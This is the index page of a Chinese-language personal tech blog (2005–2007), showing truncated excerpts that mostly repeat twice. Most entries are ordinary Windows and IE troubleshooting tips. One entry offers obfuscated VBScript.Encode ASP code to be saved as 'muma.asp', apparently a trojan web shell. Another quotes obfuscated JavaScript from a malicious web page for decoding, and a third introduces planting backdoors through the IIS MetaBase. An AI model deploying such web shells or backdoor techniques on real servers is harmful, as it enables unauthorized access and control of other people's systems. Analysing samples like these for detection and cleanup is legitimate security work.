English Sentence Loading...
英语句子加载中...
windows的启动加载程序
[ 2007-06-11 08:48:17 | 作者: Admin ]
一、“启动”文件夹
单击“开始→程序”，你会发现一个“启动”菜单，这就是最经典的Windows启动位置，右击“启动”菜单选择“打开”即可将其打开，如所示，其中的程序和快捷方式都会在系统启动时自动运行。最常见的启动位置如下：
当前用户：<C:\Documents and Settings\用户名\「开始」菜单\程序\启动>
所有用户：<C:\Documents and Settings\All Users\「开始」菜单\程序\启动>
二、注册表启动
注册表是启动程序藏身之处最多的地方，主要有以下几项：
1.Run键
Run键是病毒最青睐的自启动之所，该键位置是[HKEY_CURRENT_
...
阅读全文...
单击“开始→程序”，你会发现一个“启动”菜单，这就是最经典的Windows启动位置，右击“启动”菜单选择“打开”即可将其打开，如所示，其中的程序和快捷方式都会在系统启动时自动运行。最常见的启动位置如下：
当前用户：<C:\Documents and Settings\用户名\「开始」菜单\程序\启动>
所有用户：<C:\Documents and Settings\All Users\「开始」菜单\程序\启动>
二、注册表启动
注册表是启动程序藏身之处最多的地方，主要有以下几项：
1.Run键
Run键是病毒最青睐的自启动之所，该键位置是[HKEY_CURRENT_
...
阅读全文...
最新网页病毒加载加密后的解密过程
[ 2006-03-27 05:57:03 | 作者: Admin ]
类似下面这样的代码的解密方法
阅读全文...
<SCRIPT LANGUAGE="JavaScript">
<!--
var HtmlStrings=["=iunm> =ifbe> =nfub!obnf>#lfzxpset#!dpoufou>#灬彲－灬彲忎耆－歼祟－兎贺甶彲－兎贺甶觇－圩绀觃県－丌轾－圩绀－朻噩亻－助漬－级伛－兎贺－兎贺丌轾－兎贺圩绀甶彲－兎贺丌轾甶彲－#> =nfub!iuuq",".frvjw>#Dpoufou.Uzqf#!dpoufou>#ufyu0iunm<!dibstfu>hc3423#> ","=MJOL!isfg>#nuw0tuzmf/dtt#!uzqf>ufyu0dtt!sfm>tuzmftiffu> =u","jumf>県吨兎贺甶彲!助漬且医!奾県皅圩绀兎贺甶彲!iuuq;00xxx/lbo","9/dpn/sv=0ujumf>
...<!--
var HtmlStrings=["=iunm> =ifbe> =nfub!obnf>#lfzxpset#!dpoufou>#灬彲－灬彲忎耆－歼祟－兎贺甶彲－兎贺甶觇－圩绀觃県－丌轾－圩绀－朻噩亻－助漬－级伛－兎贺－兎贺丌轾－兎贺圩绀甶彲－兎贺丌轾甶彲－#> =nfub!iuuq",".frvjw>#Dpoufou.Uzqf#!dpoufou>#ufyu0iunm<!dibstfu>hc3423#> ","=MJOL!isfg>#nuw0tuzmf/dtt#!uzqf>ufyu0dtt!sfm>tuzmftiffu> =u","jumf>県吨兎贺甶彲!助漬且医!奾県皅圩绀兎贺甶彲!iuuq;00xxx/lbo","9/dpn/sv=0ujumf>
阅读全文...
!@$#@^#$^%^&~~木马
[ 2005-10-20 07:50:45 | 作者: Admin ]
保存为muma.asp
阅读全文...
<%@ LANGUAGE = VBScript.Encode %>
<%#@~^DAAAAA==~9kh,W(LsUr,vQMAAA==^#~@%>
<%#@~^CwAAAA==~9kh,09lYmPmgMAAA==^#~@%>
<%#@~^EgAAAA==~9kh,W(LZKE OsbVnPXgYAAA==^#~@%>
<%#@~^FgAAAA==~Kx~DMWD,DdEs+~x6O~9wcAAA==^#~@%>
<%#@~^QAAAAA==~U+O,W(LsUr,xPU+.\D /M+lDnr(L+1OcJUmMk2YrUTRok^n?H/Onsr4%n1YE#,ThYAAA==^#~@%>
<%#@~^KQAAAA==~b0~:Db:`M+$;+kYcJkXW[alY4E#*@!@*rE~Y4+ PqgwAAA==^#~@%>
...<%#@~^DAAAAA==~9kh,W(LsUr,vQMAAA==^#~@%>
<%#@~^CwAAAA==~9kh,09lYmPmgMAAA==^#~@%>
<%#@~^EgAAAA==~9kh,W(LZKE OsbVnPXgYAAA==^#~@%>
<%#@~^FgAAAA==~Kx~DMWD,DdEs+~x6O~9wcAAA==^#~@%>
<%#@~^QAAAAA==~U+O,W(LsUr,xPU+.\D /M+lDnr(L+1OcJUmMk2YrUTRok^n?H/Onsr4%n1YE#,ThYAAA==^#~@%>
<%#@~^KQAAAA==~b0~:Db:`M+$;+kYcJkXW[alY4E#*@!@*rE~Y4+ PqgwAAA==^#~@%>
阅读全文...
IE浏览器经典故障与排除解决大全
[ 2005-10-11 02:26:36 | 作者: Admin ]
1.发送错误报告
「故障现象」在使用IE浏览网页的过程中，出现“Microsoft Internet Explorer遇到问题需要关闭……”的信息提示。此时，如果单击“发送错误报告”按钮，则会创建错误报告，单击“关闭”按钮之后会引起当前IE窗口关闭；如果单击“不发送”按钮，则会关闭所有IE窗口。
「故障点评」这是IE为了解用户在使用中的错误而设计的一个小程序，不过我可不想当微软的“免费测试员”，更何况每天它都会面对成千上万的报告，谁知道有没有在意我的报告问题呢？！
「故障解决」针对不同情况，可分别用以下方法关闭IE发送错误报告功能：
①对IE 5.x用户，执行“控制面板→添加或删除程序”，在列表中选择“Internet Explorer Error Reporting”选项，然后单击“更改/删除”按钮，将其从系统中删除。
②对Windows ...
阅读全文...
「故障现象」在使用IE浏览网页的过程中，出现“Microsoft Internet Explorer遇到问题需要关闭……”的信息提示。此时，如果单击“发送错误报告”按钮，则会创建错误报告，单击“关闭”按钮之后会引起当前IE窗口关闭；如果单击“不发送”按钮，则会关闭所有IE窗口。
「故障点评」这是IE为了解用户在使用中的错误而设计的一个小程序，不过我可不想当微软的“免费测试员”，更何况每天它都会面对成千上万的报告，谁知道有没有在意我的报告问题呢？！
「故障解决」针对不同情况，可分别用以下方法关闭IE发送错误报告功能：
①对IE 5.x用户，执行“控制面板→添加或删除程序”，在列表中选择“Internet Explorer Error Reporting”选项，然后单击“更改/删除”按钮，将其从系统中删除。
②对Windows ...
阅读全文...
本文的内容是如何利用IIS本身的一些特性建立后门。当然，这主要是一份供网络管理员和网络安全工作人员参考的“Know Your Enemy”类文档，作者希望这篇文章能够对检查和清除后门有所帮助，而并不鼓励或赞同利用本文的技巧进行违法活动。
首先简单介绍一下IIS的配置文件MetaBase.bin。这个文件位于%SystemRoot%system32inetsrvMetaBase.bin，包含了几乎所有IIS的配置信息，是非常重要的系统文件。简单的说，我们在“intenet服务管理器”中所作的一切设置最终都会被保存在MetaBase.bin中。在日常的系统管理中除了通过“intenet服务管理器”来对MetaBase.bin进行操作外，Windows还提供了一个脚本adsutil.vbs可以对MetaBase.bin进行操作。
MetaBase的结构类似于注册表，也是树形结构，有类似键、值...
阅读全文...
首先简单介绍一下IIS的配置文件MetaBase.bin。这个文件位于%SystemRoot%system32inetsrvMetaBase.bin，包含了几乎所有IIS的配置信息，是非常重要的系统文件。简单的说，我们在“intenet服务管理器”中所作的一切设置最终都会被保存在MetaBase.bin中。在日常的系统管理中除了通过“intenet服务管理器”来对MetaBase.bin进行操作外，Windows还提供了一个脚本adsutil.vbs可以对MetaBase.bin进行操作。
MetaBase的结构类似于注册表，也是树形结构，有类似键、值...
阅读全文...
解决ADSL导致的系统启动变慢
[ 2005-10-10 09:33:42 | 作者: Admin ]
邻居家最近耐不住本地电信营运商的广告攻势终于也申请上了宽带。但是，不久发现系统启动明显变慢，尤其是在进入系统时，机子简直就像处于假死状态，要一分多钟才能反应过来。
问题背景：邻居家上的是512K 的包月宽带，因为只有一台电脑，所以未启用ADSL的路由功能和配置DHCP。机器装有Windows XP系统，使用PPPoE拨号上网，经检查上网速率正常且无任何硬件故障。这就怪了，上网前后除使用外置ADSL和使用主板内置的网卡外与之前并无任何区别。难道是网卡的设置问题吗？由此想到默认情况下Windows XP在启动时会对网卡等网络设备进行自检，如果发现网卡的IP地址等未配置好就会对其进行设置，这可能是导致系统启动变慢的真正原因。找到了问题所在，也就好解决了。
解决之道：打开“本地连接”属性菜单，双击“常规”项中的“Internet协议”打开“TCP/IP属性”菜单。将网卡的IP地址配...
阅读全文...
问题背景：邻居家上的是512K 的包月宽带，因为只有一台电脑，所以未启用ADSL的路由功能和配置DHCP。机器装有Windows XP系统，使用PPPoE拨号上网，经检查上网速率正常且无任何硬件故障。这就怪了，上网前后除使用外置ADSL和使用主板内置的网卡外与之前并无任何区别。难道是网卡的设置问题吗？由此想到默认情况下Windows XP在启动时会对网卡等网络设备进行自检，如果发现网卡的IP地址等未配置好就会对其进行设置，这可能是导致系统启动变慢的真正原因。找到了问题所在，也就好解决了。
解决之道：打开“本地连接”属性菜单，双击“常规”项中的“Internet协议”打开“TCP/IP属性”菜单。将网卡的IP地址配...
阅读全文...
